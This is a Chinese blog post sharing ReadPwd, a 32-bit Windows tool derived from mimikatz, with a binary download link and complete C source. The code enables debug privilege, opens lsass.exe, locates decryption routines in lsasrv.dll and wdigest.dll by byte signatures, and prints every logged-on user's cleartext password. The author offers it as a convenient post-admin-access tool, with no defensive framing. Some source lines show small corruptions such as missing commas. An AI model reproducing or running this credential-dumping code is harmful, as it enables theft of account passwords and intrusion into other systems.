ReadPwd读windows内存中明文密码

此程序是看雪论坛中秋节发出来的一个逆向作品,逆向的目标就是曾经介绍过的mimikatz,直接把取密码的过程简化到了一起。

之前看到有人就是拿来编译了一下也要在前面加好多什么来自某某黑客啦什么什么的,很蛋疼,也可能是大家连编译都懒得编译了,直接拿来主义吧,嘿嘿,这里发个原版的,不含任何广告链接自我宣传什么的。

这事让我想到了前一段用搜索引擎检测了一下,发现自己的好多文章都给抄去了,有各种“大牛”的博客啦,也有一些之前比较出名的网络安全站点,有的注明了出处有的貌似是机器人采集的?我也懒得去计较了,之前辛苦整理的一些资料下载加了密码就是防止这些转载党,采集党,没有别的意思。

这个工具目前只能在32位系统下使用,基本通杀目前能见到的windows系统,拿到了管理员权限以后使用还是很方便的。可惜由于某些动态链接库没有处理好,导致无法在64位系统下使用,某个DLL导入失败,小修改一下应该还是可以的,明天摆弄摆弄看看。

今天看了一下,发现64位下的程序太多地方不兼容了,而且目前服务器用到2008的比较少,还是放弃了。

下载地址:
ReadPwd_x86.exe

源代码:

1 #include <windows.h>
2 #include <stdio.h>
3  
4 //
5 //  Vsbat[0x710dddd]
6 // 
7 //  Note: VC++ 6.0编译/Admin权限执行
8 //
9  
10 #define MEM_SIZE 0x1000
11 #define WIN7     0x1
12 #define WINXP    0x2
13 #define WIN03    0x4
14  
15 typedef struct _LSA_UNICODE_STRING {
16     USHORT Length;
17     USHORT MaximumLength;
18     PWSTR  Buffer;
19 } LSA_UNICODE_STRING , *PLSA_UNICODE_STRING ;
20  
21 typedef struct _SECURITY_LOGON_SESSION_DATA { 
22     ULONG Size; 
23     LUID LogonId;
24     LSA_UNICODE_STRING UserName; 
25     LSA_UNICODE_STRING LogonDomain; 
26     LSA_UNICODE_STRING AuthenticationPackage; 
27     ULONG LogonType;  ULONG Session; 
28     PSID Sid; 
29     LARGE_INTEGER LogonTime; 
30     LSA_UNICODE_STRING LogonServer; 
31     LSA_UNICODE_STRING DnsDomainName; 
32     LSA_UNICODE_STRING Upn;
33 } SECURITY_LOGON_SESSION_DATA,  *PSECURITY_LOGON_SESSION_DATA ;
34  
35 typedef int (__stdcall * pNTQUERYPROCESSINFORMATION)(HANDLEDWORDPVOIDULONG,PULONG) ;
36 typedef int (__stdcall * pLSAENUMERATELOGONSESSIONS)(PULONG, PLUID *) ;
37 typedef int (__stdcall * pDECRIPTFUNC)(PBYTEDWORD) ;
38 typedef int (__stdcall * pLSAFREERETURNBUFFER)(PVOID) ;
39 typedef int (__stdcall * pLSAGETLOGONSESSIONDATA)(PLUID, PSECURITY_LOGON_SESSION_DATA *) ;
40  
41 int    EnableDebugPrivilege() ;
42 void   printHexBytes(PBYTE data, int nBytes) ;
43 PBYTE  search_bytes(PBYTE pBegin, PBYTE pEnd, PBYTE pBytes, DWORD nsize) ;
44 void   CopyKeyGlobalData(HANDLE hProcess, LPVOID hModlsasrv, int osKind) ;
45 HANDLE GetProcessHandleByName(const CHAR *szName) ;
46 LPVOID GetEncryptListHead() ;
47 void   printSessionInfo(pLSAGETLOGONSESSIONDATA, pLSAFREERETURNBUFFER, PLUID) ;
48  
49 // 解密函数特征码(lsasrv.text)
50 BYTE DecryptfuncSign[] = { 0x8B, 0xFF, 0x55, 0x8B,
51                            0xEC, 0x6A, 0x00, 0xFF,
52                            0x75, 0x0C, 0xFF, 0x75,
53                            0x08, 0xE8 } ;
54  
55 // 密钥KEY相关的关键地址特征码(lsasrv.text)
56 BYTE DecryptKeySign_WIN7[]  = { 0x33, 0xD2, 0xC7, 0x45, 0xE8, 0x08, 0x00, 0x00, 0x00, 0x89, 0x55, 0xE4 } ;
57 BYTE DecryptKeySign_XP[]    = { 0x8D, 0x85, 0xF0, 0xFE, 0xFF, 0xFF, 0x50, 0xFF, 0x75, 0x10, 0xFF, 0x35 } ;
58  
59 // 密文关键指针特征码(wdigest.text)
60 BYTE KeyPointerSign[]  = { 0x8B, 0x45, 0x08, 0x89, 0x08, 0xC7, 0x40, 0x04 } ;
61  
62 // 全局变量
63 BYTE MemBuf[MEM_SIZE], SecBuf[0x200], ThirdBuf[0x200] ;
64 BYTE Encryptdata[0x100] ;
65  
66 HANDLE GetProcessHandleByName(const CHAR *szName)
67 {
68     //
69     // GetProcessHandle获得lsass.exe进程句柄
70     //
71     DWORD  dwProcessId , ReturnLength, nBytes ;
72     WCHAR  Buffer[MAX_PATH + 0x20] ;
73     HANDLE hProcess ;
74     PWCHAR pRetStr ;
75     pNTQUERYPROCESSINFORMATION NtQueryInformationProcess ;
76     CHAR   szCurrentPath[MAX_PATH] ;
77  
78     NtQueryInformationProcess = (pNTQUERYPROCESSINFORMATION)GetProcAddress(GetModuleHandle("ntdll.dll") , \
79                                     "NtQueryInformationProcess") ;
80  
81     // Process ID 一定是 4 的倍数
82     for(dwProcessId = 4 ; dwProcessId < 10*1000 ; dwProcessId += 4)
83     {
84         hProcess = OpenProcess(PROCESS_ALL_ACCESS , FALSE, dwProcessId) ;
85         if(hProcess != NULL)
86         {
87             if(!NtQueryInformationProcess(hProcess, 27, Buffer, sizeof(Buffer), &ReturnLength))
88             {
89                 pRetStr = (PWCHAR)(*(DWORD *)((DWORD)Buffer + 4)) ;
90  
91                 nBytes = WideCharToMultiByte(CP_ACP, 0, pRetStr, -1, \
92                                     szCurrentPath, MAX_PATH, NULL, NULL) ;
93                 if(nBytes)
94                 {
95                     PCHAR pCurName = &szCurrentPath[nBytes-1] ;
96                     while(pCurName >= szCurrentPath)
97                     {
98                         if(*pCurName == '\\')  break ;
99                         pCurName -- ;
100                     }
101                     pCurName ++ ;
102                     if(lstrcmpi(szName, pCurName) == 0)
103                     {
104                         return hProcess ;
105                     }
106                 }
107             }
108             // 关闭打开的句柄
109             CloseHandle(hProcess) ;
110         }
111     }
112     return NULL ;
113 }
114  
115 LPVOID GetEncryptListHead()
116 {
117     //
118     // 根据KeyPointerSign[]获得密文存储的关键相关地址
119     //
120     HINSTANCE hMod ;
121     LPVOID    pEndAddr, KeyPointer, pTemp ;
122  
123     hMod = LoadLibrary("wdigest.dll") ;
124     pEndAddr = GetProcAddress(hMod, "SpInstanceInit") ;
125     pTemp = hMod ;
126     KeyPointer = NULL ;
127     while(pTemp < pEndAddr && pTemp != NULL)
128     {
129         KeyPointer = pTemp ;
130         pTemp = (LPVOID)search_bytes((PBYTE)pTemp + sizeof(KeyPointerSign), (PBYTE)pEndAddr, \
131                 KeyPointerSign, sizeof(KeyPointerSign)) ;
132     }
133     KeyPointer = (LPVOID)(*(DWORD *)((DWORD)KeyPointer - 4)) ;
134     FreeLibrary(hMod) ;
135     return KeyPointer ;
136 }
137  
138 int main()
139 {
140     HINSTANCE hModlsasrv ;
141     DWORD     LogonSessionCount, i ,dwBytesRead ;
142     PLUID     LogonSessionList, pCurLUID , pListLUID ;
143     BYTE      EncryptBuf[0x200] ;
144     HANDLE    hProcess ;
145  
146     if(EnableDebugPrivilege() != 1)
147         puts("EnableDebugPrivilege fail !") ;
148  
149     hProcess = GetProcessHandleByName("lsass.exe") ;
150     if(hProcess == NULL)
151     {
152         puts("GetProcessHandleByName fail !") ;
153         puts("Try To Run As Administrator ...") ;
154         system("echo Press any Key to Continue ... & pause > nul") ;
155         return 0 ;
156     }
157  
158     OSVERSIONINFO VersionInformation ;
159     DWORD dwVerOff = 0 , osKind = -1 ;
160  
161     // 版本判断
162     memset(&VersionInformation, 0, sizeof(VersionInformation));
163     VersionInformation.dwOSVersionInfoSize = sizeof(VersionInformation) ;
164     GetVersionEx(&VersionInformation) ;
165     if (VersionInformation.dwMajorVersion == 5)
166     {
167       if ( VersionInformation.dwMinorVersion == 1 )
168       {
169             dwVerOff = 36 ;
170             osKind = WINXP ;
171       }
172       else if (VersionInformation.dwMinorVersion == 2)
173       {
174             dwVerOff = 28 ;
175             osKind = WIN03 ;
176       }
177     }
178     else if (VersionInformation.dwMajorVersion == 6)
179     {
180         dwVerOff = 32 ;
181         osKind = WIN7 ;
182     }
183  
184     if(osKind == -1)
185     {
186         printf("[Undefined OS version]  Major: %d Minor: %d\n", \
187               VersionInformation.dwMajorVersion, VersionInformation.dwMinorVersion) ;
188         system("echo Press any Key to Continue ... & pause > nul") ;
189         CloseHandle(hProcess) ;
190         return 0 ;
191     }
192  
193     // 获得解密函数地址
194     pDECRIPTFUNC  DecryptFunc ;
195     hModlsasrv  = LoadLibrary("lsasrv.dll") ;
196     DecryptFunc = (pDECRIPTFUNC)search_bytes((PBYTE)hModlsasrv, (PBYTE)0x7fffdddd, DecryptfuncSign, sizeof(DecryptfuncSign)) ;
197  
198     // 获得密文链表头地址
199     LPVOID  ListHead ;
200     ListHead = GetEncryptListHead() ;                
201  
202     // 获得全局数据(lsasrv.data及解密KEY相关的数据)
203     CopyKeyGlobalData(hProcess, hModlsasrv, osKind) ; 
204  
205     HINSTANCE                   hModSecur32 ;
206     pLSAENUMERATELOGONSESSIONS  LsaEnumerateLogonSessions ;
207     pLSAGETLOGONSESSIONDATA     LsaGetLogonSessionData ;
208     pLSAFREERETURNBUFFER        LsaFreeReturnBuffer ;
209  
210     hModSecur32               = LoadLibrary("Secur32.dll") ;
211     LsaEnumerateLogonSessions = (pLSAENUMERATELOGONSESSIONS)GetProcAddress(hModSecur32,"LsaEnumerateLogonSessions") ;
212     LsaGetLogonSessionData    = (pLSAGETLOGONSESSIONDATA)GetProcAddress(hModSecur32, "LsaGetLogonSessionData") ;
213     LsaFreeReturnBuffer       = (pLSAFREERETURNBUFFER)GetProcAddress(hModSecur32,"LsaFreeReturnBuffer") ;
214  
215     LsaEnumerateLogonSessions(&LogonSessionCount, &LogonSessionList) ;
216     for(i = 0 ; i < LogonSessionCount ; i++)
217     {
218         pCurLUID = (PLUID)((DWORD)LogonSessionList + sizeof(LUID) * i) ;
219         // 打印相关信息
220         printSessionInfo(LsaGetLogonSessionData, LsaFreeReturnBuffer, pCurLUID) ;
221         // 遍历链式结构查找当前的LUID
222         ReadProcessMemory(hProcess,  ListHead, EncryptBuf, 0x100, &dwBytesRead) ;
223         while(*(DWORD *)EncryptBuf != (DWORD)ListHead)
224         {
225             ReadProcessMemory(hProcess, (LPVOID)(*(DWORD *)EncryptBuf), EncryptBuf, 0x100, &dwBytesRead) ;
226             pListLUID = (LUID *)((DWORD)EncryptBuf + 0x10) ;
227             if((pListLUID->LowPart  ==  pCurLUID->LowPart) && (pListLUID->HighPart == pCurLUID->HighPart))
228             {
229                 break ;
230             }
231         }
232         if(*(DWORD *)EncryptBuf == (DWORD)ListHead)
233         {
234             puts("Specific LUID NOT found\n") ;
235             continue ;
236         }
237  
238         DWORD   pFinal = 0 ;
239         DWORD   nBytes = 0 ;
240         LPVOID  pEncrypt   ;
241         pFinal   = (DWORD)(pListLUID) + dwVerOff  ;
242         nBytes   = *(WORD *)((DWORD)pFinal + 2) ;            // 密文大小
243         pEncrypt = (LPVOID)(*(DWORD *)((DWORD)pFinal + 4)) ; // 密文地址(Remote)
244  
245         memset(Encryptdata, 0, sizeof(Encryptdata)) ;
246         ReadProcessMemory(hProcess, (LPVOID)pEncrypt, Encryptdata, nBytes, &dwBytesRead) ;
247  
248         // 调用解密函数解密
249         DecryptFunc(Encryptdata, nBytes) ;
250         // 打印密码明文
251         printf("password: %S\n\n", Encryptdata) ;
252     }
253  
254     CloseHandle(hProcess) ;
255     LsaFreeReturnBuffer(LogonSessionList) ;
256  
257     FreeLibrary(hModlsasrv) ;
258     FreeLibrary(hModSecur32) ;
259     if(osKind == WIN7)
260     {
261         FreeLibrary(GetModuleHandle("bcrypt.dll")) ;
262         FreeLibrary(GetModuleHandle("bcryptprimitives.dll")) ;
263     }
264  
265     system("echo Press any Key to EXIT ... & pause > nul") ;
266  
267     return 0 ;
268 }
269  
270 void printSessionInfo(pLSAGETLOGONSESSIONDATA  LsaGetLogonSessionData, pLSAFREERETURNBUFFER LsaFreeReturnBuffer, PLUID pCurLUID)
271 {
272     PSECURITY_LOGON_SESSION_DATA pLogonSessionData ;
273  
274     LsaGetLogonSessionData(pCurLUID, &pLogonSessionData) ;
275     printf("UserName: %S\n", pLogonSessionData->UserName.Buffer) ;
276     printf("LogonDomain: %S\n", pLogonSessionData->LogonDomain.Buffer) ;
277  
278     LsaFreeReturnBuffer(pLogonSessionData) ;
279 }
280  
281 int EnableDebugPrivilege()
282 {
283     HANDLE hToken ;
284     LUID   sedebugnameValue ;
285     TOKEN_PRIVILEGES tkp ;
286  
287     if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken) )
288     {
289         puts("OpenProcessToken fail") ;
290         return 0 ;
291     }
292     if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue))
293     {
294         puts("LookupPrivilegeValue fail") ;
295         return 0 ;
296     }
297  
298     tkp.PrivilegeCount = 1 ;
299     tkp.Privileges[0].Luid = sedebugnameValue ;
300     tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED ;
301     if(!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL) )
302     {
303         puts("AdjustTokenPrivileges fail") ;
304         return 0 ;
305     }
306     return 1 ;
307 }
308  
309 PBYTE search_bytes(PBYTE pBegin, PBYTE pEnd, PBYTE pBytes, DWORD nsize)
310 {
311     //
312     // 在pBegin与pEnd之间搜索pBytes地址处的指定字节序列,字节个数为nsize
313     //
314     DWORD count ;
315     PBYTE pDst ;
316  
317     while((DWORD)pBegin + (DWORD)nsize <= (DWORD)pEnd)
318     {
319         pDst  = pBytes ;
320         count = 0 ;
321         while(count < nsize && *pBegin == *pDst)
322         {
323             pBegin ++ ;
324             pDst   ++ ;
325             count  ++ ;
326         }
327         if(count == nsize)  break ;
328         pBegin = pBegin - count + 1 ;
329     }
330     if(count == nsize)
331     {
332         return (PBYTE)((DWORD)pBegin - (DWORD)count) ;
333     }
334     else
335     {
336         return NULL ;
337     }
338 }
339  
340 void CopyKeyGlobalData(HANDLE hProcess, LPVOID hModlsasrv, int osKind)
341 {
342     PIMAGE_SECTION_HEADER pSectionHead ;
343     PIMAGE_DOS_HEADER     pDosHead ;
344     PIMAGE_NT_HEADERS     pPEHead  ;
345     DWORD                 dwBytes, dwBytesRead ;
346     LPVOID                pdataAddr, pDecryptKey , DecryptKey, pEndAddr ;
347  
348     pDosHead     = (PIMAGE_DOS_HEADER)hModlsasrv ;
349     pSectionHead = (PIMAGE_SECTION_HEADER)(pDosHead->e_lfanew + (DWORD)hModlsasrv \
350                    sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER)) ;
351  
352     pdataAddr = (LPVOID)((DWORD)pSectionHead->VirtualAddress  + (DWORD)hModlsasrv) ;
353     dwBytes   = ((DWORD)(pSectionHead->Misc.VirtualSize) / 0x1000 + 1) * 0x1000 ;
354     ReadProcessMemory(hProcess, pdataAddr, pdataAddr, dwBytes, &dwBytesRead) ;
355  
356     pPEHead   = (PIMAGE_NT_HEADERS)(pDosHead->e_lfanew + (DWORD)hModlsasrv) ;
357     pEndAddr  = (LPVOID)(pPEHead->OptionalHeader.SizeOfImage + (DWORD)hModlsasrv) ;
358  
359     switch(osKind)
360     {
361     case WINXP :
362     case WIN03 :
363         {
364             pDecryptKey = (LPVOID)search_bytes((PBYTE)(hModlsasrv), (PBYTE)pEndAddr , \
365                             DecryptKeySign_XP, sizeof(DecryptKeySign_XP)) ;
366  
367             pDecryptKey = (LPVOID)*(DWORD *)((DWORD)pDecryptKey +sizeof(DecryptKeySign_XP)) ;
368             ReadProcessMemory(hProcess, (LPVOID)pDecryptKey, &DecryptKey, 4, &dwBytesRead) ;
369             // DecryptKey 是与解密相关的关键地址
370             ReadProcessMemory(hProcess, (LPVOID)DecryptKey, MemBuf, 0x200, &dwBytesRead) ;
371             pdataAddr  = (LPVOID)pDecryptKey ;
372             *(DWORD *)pdataAddr = (DWORD)MemBuf ;
373  
374             break ;
375         }
376     case WIN7 :
377         {
378             // WIN7 需调用这两个DLL中的函数进行解密
379             LoadLibrary("bcrypt.dll") ;
380             LoadLibrary("bcryptprimitives.dll") ;
381  
382             pDecryptKey = (LPVOID)search_bytes((PBYTE)(hModlsasrv), (PBYTE)pEndAddr , \
383                             DecryptKeySign_WIN7, sizeof(DecryptKeySign_WIN7)) ;
384             pDecryptKey = (LPVOID)(*(DWORD *)((DWORD)pDecryptKey - 4)) ;
385  
386             // DecryptKey 是与解密相关的关键地址
387             ReadProcessMemory(hProcess,  pDecryptKey, &DecryptKey, 0x4, &dwBytesRead) ;
388  
389             ReadProcessMemory(hProcess, (LPVOID)DecryptKey, MemBuf, 0x200, &dwBytesRead) ;
390             pdataAddr  = (LPVOID)pDecryptKey ;
391             *(DWORD *)pdataAddr = (DWORD)MemBuf ;
392  
393             ReadProcessMemory(hProcess, (LPVOID)(*(DWORD *)((DWORD)MemBuf + 8)), SecBuf, 0x200, &dwBytesRead) ;
394             pdataAddr  = (LPVOID)((DWORD)MemBuf + 8) ;
395             *(DWORD *)pdataAddr = (DWORD)SecBuf ;
396  
397             ReadProcessMemory(hProcess, (LPVOID)(*(DWORD *)((DWORD)MemBuf + 0xC)), ThirdBuf, 0x200, &dwBytesRead) ;
398             pdataAddr  = (LPVOID)((DWORD)MemBuf + 0xC) ;
399             *(DWORD *)pdataAddr = (DWORD)ThirdBuf ;       
400  
401             break ;
402         }
403     }
404     return ;
405 }
406  
407 // -- EOF -- //

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值